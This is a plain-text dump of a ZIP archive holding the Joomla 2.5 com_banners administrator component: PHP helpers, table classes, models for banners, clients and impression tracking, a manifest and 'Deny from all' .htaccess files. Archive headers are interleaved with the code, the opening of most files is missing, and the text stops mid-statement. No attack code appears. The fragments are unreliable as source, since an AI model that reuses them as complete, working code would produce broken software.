Method to get the field options. * * @return array The field option objects. * @since 1.6 */ public static function clientlist() { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('id As value, name As text'); $query->from('#__banner_clients AS a'); $query->order('a.name'); // Get the options. $db->setQuery($query); $options = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); } return $options; } /** * Returns a pinned state on a grid * * @param integer $value The state value. * @param integer $i The row index * @param boolean $enabled An optional setting for access control on the action. * @param string $checkbox An optional prefix for checkboxes. * * @return string The Html code * * @see JHtmlJGrid::state * * @since 2.5.5 */ public static function pinned($value, $i, $enabled = true, $checkbox = 'cb') { $states = array( 1 => array( 'sticky_unpublish', 'COM_BANNERS_BANNERS_PINNED', 'COM_BANNERS_BANNERS_HTML_PIN_BANNER', 'COM_BANNERS_BANNERS_PINNED', false, 'publish', 'publish' ), 0 => array( 'sticky_publish', 'COM_BANNERS_BANNERS_UNPINNED', 'COM_BANNERS_BANNERS_HTML_UNPIN_BANNER', 'COM_BANNERS_BANNERS_UNPINNED', false, 'unpublish', 'unpublish' ), ); return JHtml::_('jgrid.state', $states, $value, $i, 'banners.', $enabled, true, $checkbox); } } PKs>\)com_banners/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\=**com_banners/helpers/banners.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } /** * @return boolean * @since 1.6 */ public static function updateReset() { $user = JFactory::getUser(); $db = JFactory::getDBO(); $nullDate = $db->getNullDate(); $now = JFactory::getDate(); $query = $db->getQuery(true); $query->select('*'); $query->from('#__banners'); $query->where("'".$now."' >= ".$db->quoteName('reset')); $query->where($db->quoteName('reset').' != '.$db->quote($nullDate).' AND '.$db->quoteName('reset').'!=NULL'); $query->where('('.$db->quoteName('checked_out').' = 0 OR '.$db->quoteName('checked_out').' = '.(int) $db->Quote($user->id).')'); $db->setQuery((string)$query); $rows = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); return false; } JTable::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR . '/tables'); foreach ($rows as $row) { $purchase_type = $row->purchase_type; if ($purchase_type < 0 && $row->cid) { $client = JTable::getInstance('Client', 'BannersTable'); $client->load($row->cid); $purchase_type = $client->purchase_type; } if ($purchase_type < 0) { $params = JComponentHelper::getParams('com_banners'); $purchase_type = $params->get('purchase_type'); } switch($purchase_type) { case 1: $reset = $nullDate; break; case 2: $date = JFactory::getDate('+1 year '.date('Y-m-d', strtotime('now'))); $reset = $db->Quote($date->toSql()); break; case 3: $date = JFactory::getDate('+1 month '.date('Y-m-d', strtotime('now'))); $reset = $db->Quote($date->toSql()); break; case 4: $date = JFactory::getDate('+7 day '.date('Y-m-d', strtotime('now'))); $reset = $db->Quote($date->toSql()); break; case 5: $date = JFactory::getDate('+1 day '.date('Y-m-d', strtotime('now'))); $reset = $db->Quote($date->toSql()); break; } // Update the row ordering field. $query->clear(); $query->update($db->quoteName('#__banners')); $query->set($db->quoteName('reset').' = '.$db->quote($reset)); $query->set($db->quoteName('impmade').' = '.$db->quote(0)); $query->set($db->quoteName('clicks').' = '.$db->quote(0)); $query->where($db->quoteName('id').' = '.$db->quote($row->id)); $db->setQuery((string)$query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); return false; } } return true; } public static function getClientOptions() { // Initialize variables. $options = array(); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('id As value, name As text'); $query->from('#__banner_clients AS a'); $query->where('a.state = 1'); $query->order('a.name'); // Get the options. $db->setQuery($query); $options = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); } // Merge any additional options in the XML definition. //$options = array_merge(parent::getOptions(), $options); array_unshift($options, JHtml::_('select.option', '0', JText::_('COM_BANNERS_NO_CLIENT'))); return $options; } } PKs>\Vcom_banners/tables/index.htmlnuW+A PKs>\DŽF"F"com_banners/tables/banner.phpnuW+Acreated = $date->toSql(); } function clicks() { $query = 'UPDATE #__banners' . ' SET clicks = (clicks + 1)' . ' WHERE id = ' . (int) $this->id ; $this->_db->setQuery($query); $this->_db->query(); } /** * Overloaded check function * * @return boolean * @see JTable::check * @since 1.5 */ function check() { // Set name $this->name = htmlspecialchars_decode($this->name, ENT_QUOTES); // Set alias $this->alias = JApplication::stringURLSafe($this->alias); if (empty($this->alias)) { $this->alias = JApplication::stringURLSafe($this->name); } // Check the publish down date is not earlier than publish up. if ($this->publish_down > $this->_db->getNullDate() && $this->publish_down < $this->publish_up) { $this->setError(JText::_('JGLOBAL_START_PUBLISH_AFTER_FINISH')); return false; } // Set ordering if ($this->state < 0) { // Set ordering to 0 if state is archived or trashed $this->ordering = 0; } elseif (empty($this->ordering)) { // Set ordering to last if ordering was 0 $this->ordering = self::getNextOrder($this->_db->quoteName('catid').'=' . $this->_db->Quote($this->catid).' AND state>=0'); } return true; } /** * Overloaded bind function * * @param array $hash named array * @return null|string null is operation was satisfactory, otherwise returns an error * @see JTable:bind * @since 1.5 */ public function bind($array, $ignore = array()) { if (isset($array['params']) && is_array($array['params'])) { $registry = new JRegistry(); $registry->loadArray($array['params']); if((int) $registry->get('width', 0) < 0){ $this->setError(JText::sprintf('JLIB_DATABASE_ERROR_NEGATIVE_NOT_PERMITTED', JText::_('COM_BANNERS_FIELD_WIDTH_LABEL'))); return false; } if((int) $registry->get('height', 0) < 0){ $this->setError(JText::sprintf('JLIB_DATABASE_ERROR_NEGATIVE_NOT_PERMITTED', JText::_('COM_BANNERS_FIELD_HEIGHT_LABEL'))); return false; } // Converts the width and height to an absolute numeric value: $width = abs((int) $registry->get('width', 0)); $height = abs((int) $registry->get('height', 0)); // Sets the width and height to an empty string if = 0 $registry->set('width', ($width ? $width : '')); $registry->set('height', ($height ? $height : '')); $array['params'] = (string)$registry; } if (isset($array['imptotal'])) { $array['imptotal'] = abs((int) $array['imptotal']); } return parent::bind($array, $ignore); } /** * method to store a row * * @param boolean $updateNulls True to update fields even if they are null. */ function store($updateNulls = false) { if (empty($this->id)) { $purchase_type = $this->purchase_type; if ($purchase_type < 0 && $this->cid) { $client = JTable::getInstance('Client', 'BannersTable'); $client->load($this->cid); $purchase_type = $client->purchase_type; } if ($purchase_type < 0) { $params = JComponentHelper::getParams('com_banners'); $purchase_type = $params->get('purchase_type'); } switch($purchase_type) { case 1: $this->reset=$this->_db->getNullDate(); break; case 2: $date = JFactory::getDate('+1 year '.date('Y-m-d', strtotime('now'))); $reset = $this->_db->Quote($date->toSql()); break; case 3: $date = JFactory::getDate('+1 month '.date('Y-m-d', strtotime('now'))); $reset = $this->_db->Quote($date->toSql()); break; case 4: $date = JFactory::getDate('+7 day '.date('Y-m-d', strtotime('now'))); $reset = $this->_db->Quote($date->toSql()); break; case 5: $date = JFactory::getDate('+1 day '.date('Y-m-d', strtotime('now'))); $reset = $this->_db->Quote($date->toSql()); break; } // Store the row parent::store($updateNulls); } else { // Get the old row $oldrow = JTable::getInstance('Banner', 'BannersTable'); if (!$oldrow->load($this->id) && $oldrow->getError()) { $this->setError($oldrow->getError()); } // Verify that the alias is unique $table = JTable::getInstance('Banner', 'BannersTable'); if ($table->load(array('alias'=>$this->alias, 'catid'=>$this->catid)) && ($table->id != $this->id || $this->id==0)) { $this->setError(JText::_('COM_BANNERS_ERROR_UNIQUE_ALIAS')); return false; } // Store the new row parent::store($updateNulls); // Need to reorder ? if ($oldrow->state>=0 && ($this->state < 0 || $oldrow->catid != $this->catid)) { // Reorder the oldrow $this->reorder($this->_db->quoteName('catid').'=' . $this->_db->Quote($oldrow->catid).' AND state>=0'); } } return count($this->getErrors())==0; } /** * Method to set the publishing state for a row or list of rows in the database * table. The method respects checked out rows by other users and will attempt * to checkin rows that it can after adjustments are made. * * @param mixed An optional array of primary key values to update. If not * set the instance property value is used. * @param integer The publishing state. eg. [0 = unpublished, 1 = published, 2=archived, -2=trashed] * @param integer The user id of the user performing the operation. * @return boolean True on success. * @since 1.6 */ public function publish($pks = null, $state = 1, $userId = 0) { // Initialise variables. $k = $this->_tbl_key; // Sanitize input. JArrayHelper::toInteger($pks); $userId = (int) $userId; $state = (int) $state; // If there are no primary keys set check to see if the instance key is set. if (empty($pks)) { if ($this->$k) { $pks = array($this->$k); } // Nothing to set publishing state on, return false. else { $this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED')); return false; } } // Get an instance of the table $table = JTable::getInstance('Banner', 'BannersTable'); // For all keys foreach ($pks as $pk) { // Load the banner if(!$table->load($pk)) { $this->setError($table->getError()); } // Verify checkout if($table->checked_out==0 || $table->checked_out==$userId) { // Change the state $table->state = $state; $table->checked_out=0; $table->checked_out_time=$this->_db->getNullDate(); // Check the row $table->check(); // Store the row if (!$table->store()) { $this->setError($table->getError()); } } } return count($this->getErrors())==0; } /** * Method to set the sticky state for a row or list of rows in the database * table. The method respects checked out rows by other users and will attempt * to checkin rows that it can after adjustments are made. * * @param mixed An optional array of primary key values to update. If not * set the instance property value is used. * @param integer The sticky state. eg. [0 = unsticked, 1 = sticked] * @param integer The user id of the user performing the operation. * @return boolean True on success. * @since 1.6 */ public function stick($pks = null, $state = 1, $userId = 0) { // Initialise variables. $k = $this->_tbl_key; // Sanitize input. JArrayHelper::toInteger($pks); $userId = (int) $userId; $state = (int) $state; // If there are no primary keys set check to see if the instance key is set. if (empty($pks)) { if ($this->$k) { $pks = array($this->$k); } // Nothing to set publishing state on, return false. else { $this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED')); return false; } } // Get an instance of the table $table = JTable::getInstance('Banner', 'BannersTable'); // For all keys foreach ($pks as $pk) { // Load the banner if(!$table->load($pk)) { $this->setError($table->getError()); } // Verify checkout if($table->checked_out==0 || $table->checked_out==$userId) { // Change the state $table->sticky = $state; $table->checked_out=0; $table->checked_out_time=$this->_db->getNullDate(); // Check the row $table->check(); // Store the row if (!$table->store()) { $this->setError($table->getError()); } } } return count($this->getErrors())==0; } } PKs>\)com_banners/tables/.htaccessnuW+A Order allow,deny Deny from all PKs>\x NY  com_banners/tables/client.phpnuW+Achecked_out_time = $_db->getNullDate(); parent::__construct('#__banner_clients', 'id', $_db); } /** * Method to set the publishing state for a row or list of rows in the database * table. The method respects checked out rows by other users and will attempt * to checkin rows that it can after adjustments are made. * * @param mixed An optional array of primary key values to update. If not * set the instance property value is used. * @param integer The publishing state. eg. [0 = unpublished, 1 = published] * @param integer The user id of the user performing the operation. * @return boolean True on success. * @since 1.0.4 */ public function publish($pks = null, $state = 1, $userId = 0) { // Initialise variables. $k = $this->_tbl_key; // Sanitize input. JArrayHelper::toInteger($pks); $userId = (int) $userId; $state = (int) $state; // If there are no primary keys set check to see if the instance key is set. if (empty($pks)) { if ($this->$k) { $pks = array($this->$k); } // Nothing to set publishing state on, return false. else { $this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED')); return false; } } // Build the WHERE clause for the primary keys. $where = $k.'='.implode(' OR '.$k.'=', $pks); // Determine if there is checkin support for the table. if (!property_exists($this, 'checked_out') || !property_exists($this, 'checked_out_time')) { $checkin = ''; } else { $checkin = ' AND (checked_out = 0 OR checked_out = '.(int) $userId.')'; } // Update the publishing state for rows with the given primary keys. $this->_db->setQuery( 'UPDATE '.$this->_db->quoteName($this->_tbl). ' SET '.$this->_db->quoteName('state').' = '.(int) $state . ' WHERE ('.$where.')' . $checkin ); $this->_db->query(); // Check for a database error. if ($this->_db->getErrorNum()) { $this->setError($this->_db->getErrorMsg()); return false; } // If checkin is supported and all rows were adjusted, check them in. if ($checkin && (count($pks) == $this->_db->getAffectedRows())) { // Checkin the rows. foreach($pks as $pk) { $this->checkin($pk); } } // If the JTable instance value is in the list of primary keys that were set, set the instance. if (in_array($this->$k, $pks)) { $this->state = $state; } $this->setError(''); return true; } } PKs>\(&_com_banners/banners.phpnuW+Aexecute(JRequest::getVar('task', 'click')); $controller->redirect(); PKs>\X2l l com_banners/banners.xmlnuW+A com_banners Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_BANNERS_XML_DESCRIPTION sql/install.mysql.utf8.sql sql/uninstall.mysql.utf8.sql banners.php controller.php index.html router.php helpers models com_banners com_banners_banners com_banners_categories com_banners_clients com_banners_tracks access.xml banners.php config.xml controller.php index.html controllers helpers models tables views language/en-GB.com_banners.ini language/en-GB.com_banners.sys.ini PKs>\)com_banners/.htaccessnuW+A Order allow,deny Deny from all PKs>\,AV V com_banners/models/client.phpnuW+Aid)) { if ($record->state != -2) { return ; } $user = JFactory::getUser(); if (!empty($record->catid)) { return $user->authorise('core.delete', 'com_banners.category.'.(int) $record->catid); } else { return $user->authorise('core.delete', 'com_banners'); } } } /** * Method to test whether a record can be deleted. * * @param object A record object. * @return boolean True if allowed to change the state of the record. Defaults to the permission set in the component. * @since 1.6 */ protected function canEditState($record) { $user = JFactory::getUser(); if (!empty($record->catid)) { return $user->authorise('core.edit.state', 'com_banners.category.'.(int) $record->catid); } else { return $user->authorise('core.edit.state', 'com_banners'); } } /** * Returns a reference to the a Table object, always creating it. * * @param type The table type to instantiate * @param string A prefix for the table class name. Optional. * @param array Configuration array for model. Optional. * @return JTable A database object * @since 1.6 */ public function getTable($type = 'Client', $prefix = 'BannersTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to get the record form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return mixed A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_banners.client', 'client', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_banners.edit.client.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } /** * Prepare and sanitise the table data prior to saving. * * @param JTable A JTable object. * @since 1.6 */ protected function prepareTable(&$table) { $table->name = htmlspecialchars_decode($table->name, ENT_QUOTES); } } PKs>\V#com_banners/models/forms/index.htmlnuW+A PKs>\sC33#com_banners/models/forms/banner.xmlnuW+A
      >
      PKs>\M=%com_banners/models/forms/download.xmlnuW+A
      PKs>\)"com_banners/models/forms/.htaccessnuW+A Order allow,deny Deny from all PKs>\ #com_banners/models/forms/client.xmlnuW+A
      PKs>\bcom_banners/models/banners.phpnuW+AgetState('filter.search'); $id .= ':' . $this->getState('filter.tag_search'); $id .= ':' . $this->getState('filter.client_id'); $id .= ':' . serialize($this->getState('filter.category_id')); $id .= ':' . serialize($this->getState('filter.keywords')); return parent::getStoreId($id); } /** * Gets a list of banners * * @return array An array of banner objects. * @since 1.6 */ protected function getListQuery() { $db = $this->getDbo(); $query = $db->getQuery(true); $ordering = $this->getState('filter.ordering'); $tagSearch = $this->getState('filter.tag_search'); $cid = $this->getState('filter.client_id'); $categoryId = $this->getState('filter.category_id'); $keywords = $this->getState('filter.keywords'); $randomise = ($ordering == 'random'); $nullDate = $db->quote($db->getNullDate()); $query->select( 'a.id as id,'. 'a.type as type,'. 'a.name as name,'. 'a.clickurl as clickurl,'. 'a.cid as cid,'. 'a.params as params,'. 'a.custombannercode as custombannercode,'. 'a.track_impressions as track_impressions,'. 'cl.track_impressions as client_track_impressions' ); $query->from('#__banners as a'); $query->join('LEFT', '#__banner_clients AS cl ON cl.id = a.cid'); $query->where('a.state=1'); $query->where('('.$query->currentTimestamp().' >= a.publish_up OR a.publish_up = '.$nullDate.')'); $query->where('('.$query->currentTimestamp().' <= a.publish_down OR a.publish_down = '.$nullDate.')'); $query->where('(a.imptotal = 0 OR a.impmade <= a.imptotal)'); if ($cid) { $query->join('LEFT', '#__categories as cat ON a.catid = cat.id'); $query->where('a.cid = ' . (int) $cid); $query->where('cl.state = 1'); } // Filter by a single or group of categories $categoryId = $this->getState('filter.category_id'); $catid = $this->getState('filter.category_id', array()); if (is_numeric($categoryId)) { $type = $this->getState('filter.category_id.include', true) ? '= ' : '<> '; // Add subcategory check $includeSubcategories = $this->getState('filter.subcategories', false); $categoryEquals = 'a.catid '.$type.(int) $categoryId; if ($includeSubcategories) { $levels = (int) $this->getState('filter.max_category_levels', '1'); // Create a subquery for the subcategory list $subQuery = $db->getQuery(true); $subQuery->select('sub.id'); $subQuery->from('#__categories as sub'); $subQuery->join('INNER', '#__categories as this ON sub.lft > this.lft AND sub.rgt < this.rgt'); $subQuery->where('this.id = '.(int) $categoryId); $subQuery->where('sub.level <= this.level + '.$levels); // Add the subquery to the main query $query->where('('.$categoryEquals.' OR a.catid IN ('.$subQuery->__toString().'))'); } else { $query->where($categoryEquals); } } elseif ((is_array($categoryId)) && (count($categoryId) > 0)) { JArrayHelper::toInteger($categoryId); $categoryId = implode(',', $categoryId); if($categoryId != '0') { $type = $this->getState('filter.category_id.include', true) ? 'IN' : 'NOT IN'; $query->where('a.catid '.$type.' ('.$categoryId.')'); } } if ($tagSearch) { if (count($keywords) == 0) { $query->where('0'); } else { $temp = array(); $config = JComponentHelper::getParams('com_banners'); $prefix = $config->get('metakey_prefix'); foreach ($keywords as $keyword) { $keyword=trim($keyword); $condition1 = "a.own_prefix=1 AND a.metakey_prefix=SUBSTRING(".$db->quote($keyword).",1,LENGTH( a.metakey_prefix)) OR a.own_prefix=0 AND cl.own_prefix=1 AND cl.metakey_prefix=SUBSTRING(".$db->quote($keyword).",1,LENGTH(cl.metakey_prefix)) OR a.own_prefix=0 AND cl.own_prefix=0 AND ".($prefix==substr($keyword, 0, strlen($prefix))?'1':'0'); $condition2="a.metakey REGEXP '[[:<:]]".$db->escape($keyword) . "[[:>:]]'"; if ($cid) { $condition2.=" OR cl.metakey REGEXP '[[:<:]]".$db->escape($keyword) . "[[:>:]]'"; } if ($catid) { $condition2.=" OR cat.metakey REGEXP '[[:<:]]".$db->escape($keyword) . "[[:>:]]'"; } $temp[]="($condition1) AND ($condition2)"; } $query->where('(' . implode(' OR ', $temp). ')'); } } // Filter by language if ($this->getState('filter.language')) { $query->where('a.language in (' . $db->Quote(JFactory::getLanguage()->getTag()) . ',' . $db->Quote('*') . ')'); } $query->order('a.sticky DESC,'. ($randomise ? 'RAND()' : 'a.ordering')); return $query; } /** * Get a list of banners. * * @return array * @since 1.6 */ public function getItems() { if (!isset($this->cache['items'])) { $this->cache['items'] = parent::getItems(); foreach ($this->cache['items'] as &$item) { $parameters = new JRegistry; $parameters->loadString($item->params); $item->params = $parameters; } } return $this->cache['items']; } /** * Makes impressions on a list of banners * * @return void * @since 1.6 */ public function impress() { $trackDate = JFactory::getDate()->format('Y-m-d H'); $items = $this->getItems(); $db = $this->getDbo(); $query = $db->getQuery(true); foreach ($items as $item) { // Increment impression made $id = $item->id; $query->clear(); $query->update('#__banners'); $query->set('impmade = (impmade + 1)'); $query->where('id = '.(int)$id); $db->setQuery((string)$query); if (!$db->query()) { JError::raiseError(500, $db->getErrorMsg()); } // track impressions $trackImpressions = $item->track_impressions; if ($trackImpressions < 0 && $item->cid) { $trackImpressions = $item->client_track_impressions; } if ($trackImpressions < 0) { $config = JComponentHelper::getParams('com_banners'); $trackImpressions = $config->get('track_impressions'); } if ($trackImpressions > 0) { // is track already created ? $query->clear(); $query->select($db->quoteName('count')); $query->from('#__banner_tracks'); $query->where('track_type=1'); $query->where('banner_id=' . (int) $id); $query->where('track_date=' . $db->Quote($trackDate)); $db->setQuery((string)$query); if (!$db->query()) { JError::raiseError(500, $db->getErrorMsg()); } $count = $db->loadResult(); $query->clear(); if ($count) { // update count $query->update('#__banner_tracks'); $query->set($db->quoteName('count').' = ('.$db->quoteName('count').' + 1)'); $query->where('track_type=1'); $query->where('banner_id='.(int)$id); $query->where('track_date='.$db->Quote($trackDate)); } else { // insert new count //sqlsrv change $query->insert('#__banner_tracks'); $query->columns(array($db->quoteName('count'), $db->quoteName('track_type'), $db->quoteName('banner_id'), $db->quoteName('track_date'))); $query->values( '1, 1, ' . (int) $id . ', ' . $db->Quote($trackDate)); } $db->setQuery((string)$query); if (!$db->query()) { JError::raiseError(500, $db->getErrorMsg()); } } } } } PKs>\cOcom_banners/models/download.phpnuW+A_context.'.basename'), '__SITE__', 'cookie'); $this->setState('basename', $basename); $compressed = JRequest::getInt(JApplication::getHash($this->_context.'.compressed'), 1, 'cookie'); $this->setState('compressed', $compressed); } /** * Method to get the record form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return mixed A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_banners.download', 'download', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { return array( 'basename' => $this->getState('basename'), 'compressed' => $this->getState('compressed') ); } } PKs>\Ncom_banners/models/clients.phpnuW+AgetUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $state = $this->getUserStateFromRequest($this->context.'.filter.state', 'filter_state', '', 'string'); $this->setState('filter.state', $state); // Load the parameters. $params = JComponentHelper::getParams('com_banners'); $this->setState('params', $params); // List state information. parent::populateState('a.name', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.state'); return parent::getStoreId($id); } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.id AS id,'. 'a.name AS name,'. 'a.contact AS contact,'. 'a.checked_out AS checked_out,'. 'a.checked_out_time AS checked_out_time, ' . 'a.state AS state,'. 'a.metakey AS metakey,'. 'a.purchase_type as purchase_type' ) ); $query->from($db->quoteName('#__banner_clients').' AS a'); // Join over the banners for counting $query->select('COUNT(b.id) as nbanners'); $query->join('LEFT', '#__banners AS b ON a.id = b.cid'); // Join over the users for the checked out user. $query->select('uc.name AS editor'); $query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out'); // Filter by published state $published = $this->getState('filter.state'); if (is_numeric($published)) { $query->where('a.state = '.(int) $published); } elseif ($published === '') { $query->where('(a.state IN (0, 1))'); } $query->group('a.id, a.name, a.contact, a.checked_out, a.checked_out_time, a.state, a.metakey, a.purchase_type, editor'); // Filter by search in title $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('a.name LIKE '.$search); } } $ordering_o = $this->getState('list.ordering', 'ordering'); if($ordering_o == 'nbanners') $ordering_o = 'COUNT(b.id)'; // Add the list ordering clause. $query->order($db->escape($ordering_o).' '.$db->escape($this->getState('list.direction', 'ASC'))); //echo nl2br(str_replace('#__','jos_',$query)); return $query; } } PKs>\`7|//com_banners/models/tracks.phpnuW+AgetUserStateFromRequest($this->context.'.filter.type', 'filter_type'); $this->setState('filter.type', $type); $begin = $this->getUserStateFromRequest($this->context.'.filter.begin', 'filter_begin', '', 'string'); $this->setState('filter.begin', $begin); $end = $this->getUserStateFromRequest($this->context.'.filter.end', 'filter_end', '', 'string'); $this->setState('filter.end', $end); $categoryId = $this->getUserStateFromRequest($this->context.'.filter.category_id', 'filter_category_id', ''); $this->setState('filter.category_id', $categoryId); $clientId = $this->getUserStateFromRequest($this->context.'.filter.client_id', 'filter_client_id', ''); $this->setState('filter.client_id', $clientId); // Load the parameters. $params = JComponentHelper::getParams('com_banners'); $this->setState('params', $params); // List state information. parent::populateState('b.name', 'asc'); } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery * @since 1.6 */ protected function getListQuery() { // Get the application object $app = JFactory::getApplication(); require_once JPATH_COMPONENT.'/helpers/banners.php'; // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( 'a.track_date as track_date,'. 'a.track_type as track_type,'. 'a.'.$db->quoteName('count'), ' as '.$db->quoteName('count') ); $query->from($db->quoteName('#__banner_tracks').' AS a'); // Join with the banners $query->join('LEFT', $db->quoteName('#__banners').' as b ON b.id=a.banner_id'); $query->select('b.name as name'); // Join with the client $query->join('LEFT', $db->quoteName('#__banner_clients').' as cl ON cl.id=b.cid'); $query->select('cl.name as client_name'); // Join with the category $query->join('LEFT', $db->quoteName('#__categories').' as cat ON cat.id=b.catid'); $query->select('cat.title as category_title'); // Filter by type $type = $this->getState('filter.type'); if (!empty($type)) { $query->where('a.track_type = '.(int) $type); } // Filter by client $clientId = $this->getState('filter.client_id'); if (is_numeric($clientId)) { $query->where('b.cid = '.(int) $clientId); } // Filter by category $catedoryId = $this->getState('filter.category_id'); if (is_numeric($catedoryId)) { $query->where('b.catid = '.(int) $catedoryId); } // Filter by begin date $begin = $this->getState('filter.begin'); if (!empty($begin)) { $query->where('a.track_date >= '.$db->Quote($begin)); } // Filter by end date $end = $this->getState('filter.end'); if (!empty($end)) { $query->where('a.track_date <= '.$db->Quote($end)); } // Add the list ordering clause. $orderCol = $this->getState('list.ordering', 'name'); $query->order($db->escape($orderCol).' '.$db->escape($this->getState('list.direction', 'ASC'))); return $query; } /** * Method to delete rows. * * @param array An array of item ids. * * @return boolean Returns true on success, false on failure. */ public function delete() { // Initialise variables $user = JFactory::getUser(); $categoryId = $this->getState('category_id'); // Access checks. if ($categoryId) { $allow = $user->authorise('core.delete', 'com_banners.category.'.(int) $categoryId); } else { $allow = $user->authorise('core.delete', 'com_banners'); } if ($allow) { // Delete tracks from this banner $db = $this->getDbo(); $query = $db->getQuery(true); $query->delete(); $query->from($db->quoteName('#__banner_tracks')); // Filter by type $type = $this->getState('filter.type'); if (!empty($type)) { $query->where('track_type = '.(int) $type); } // Filter by begin date $begin = $this->getState('filter.begin'); if (!empty($begin)) { $query->where('track_date >= '.$db->Quote($begin)); } // Filter by end date $end = $this->getState('filter.end'); if (!empty($end)) { $query->where('track_date <= '.$db->Quote($end)); } $where = '1'; // Filter by client $clientId = $this->getState('filter.client_id'); if (!empty($clientId)) { $where.=' AND cid = '.(int) $clientId; } // Filter by category if (!empty($categoryId)) { $where.=' AND catid = '.(int) $categoryId; } $query->where('banner_id IN (SELECT id FROM '.$db->quoteName('#__banners').' WHERE '.$where.')'); $db->setQuery((string)$query); $this->setError((string)$query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } } else { JError::raiseWarning(403, JText::_('JERROR_CORE_DELETE_NOT_PERMITTED')); } return true; } /** * Get file name * * @return string The file name * @since 1.6 */ public function getBaseName() { if (!isset($this->basename)) { $app = JFactory::getApplication(); $basename = $this->getState('basename'); $basename = str_replace('__SITE__', $app->getCfg('sitename'), $basename); $categoryId = $this->getState('filter.category_id'); if (is_numeric($categoryId)) { if ($categoryId > 0) { $basename = str_replace('__CATID__', $categoryId, $basename); } else { $basename = str_replace('__CATID__', '', $basename); } $categoryName = $this->getCategoryName(); $basename = str_replace('__CATNAME__', $categoryName, $basename); } else { $basename = str_replace('__CATID__', '', $basename); $basename = str_replace('__CATNAME__', '', $basename); } $clientId = $this->getState('filter.client_id'); if (is_numeric($clientId)) { if ($clientId > 0) { $basename = str_replace('__CLIENTID__', $clientId, $basename); } else { $basename = str_replace('__CLIENTID__', '', $basename); } $clientName = $this->getClientName(); $basename = str_replace('__CLIENTNAME__', $clientName, $basename); } else { $basename = str_replace('__CLIENTID__', '', $basename); $basename = str_replace('__CLIENTNAME__', '', $basename); } $type = $this->getState('filter.type'); if ($type > 0) { $basename = str_replace('__TYPE__', $type, $basename); $typeName = JText::_('COM_BANNERS_TYPE'.$type); $basename = str_replace('__TYPENAME__', $typeName, $basename); } else { $basename = str_replace('__TYPE__', '', $basename); $basename = str_replace('__TYPENAME__', '', $basename); } $begin = $this->getState('filter.begin'); if (!empty($begin)) { $basename = str_replace('__BEGIN__', $begin, $basename); } else { $basename = str_replace('__BEGIN__', '', $basename); } $end = $this->getState('filter.end'); if (!empty($end)) { $basename = str_replace('__END__', $end, $basename); } else { $basename = str_replace('__END__', '', $basename); } $this->basename = $basename; } return $this->basename; } /** * Get the category name. * * @return string The category name * @since 1.6 */ protected function getCategoryName() { $categoryId = $this->getState('filter.category_id'); if ($categoryId) { $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('title'); $query->from($db->quoteName('#__categories')); $query->where($db->quoteName('id').'='.$db->quote($categoryId)); $db->setQuery((string)$query); $name = $db->loadResult(); if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } } else { $name = JText::_('COM_BANNERS_NOCATEGORYNAME'); } return $name; } /** * Get the category name * * @return string The category name. * @since 1.6 */ protected function getClientName() { $clientId = $this->getState('filter.client_id'); if ($clientId) { $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('name'); $query->from($db->quoteName('#__banner_clients')); $query->where($db->quoteName('id').'='.$db->quote($clientId)); $db->setQuery((string)$query); $name = $db->loadResult(); if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } } else { $name = JText::_('COM_BANNERS_NOCLIENTNAME'); } return $name; } /** * Get the file type. * * @return string The file type * @since 1.6 */ public function getFileType() { return $this->getState('compressed') ? 'zip' : 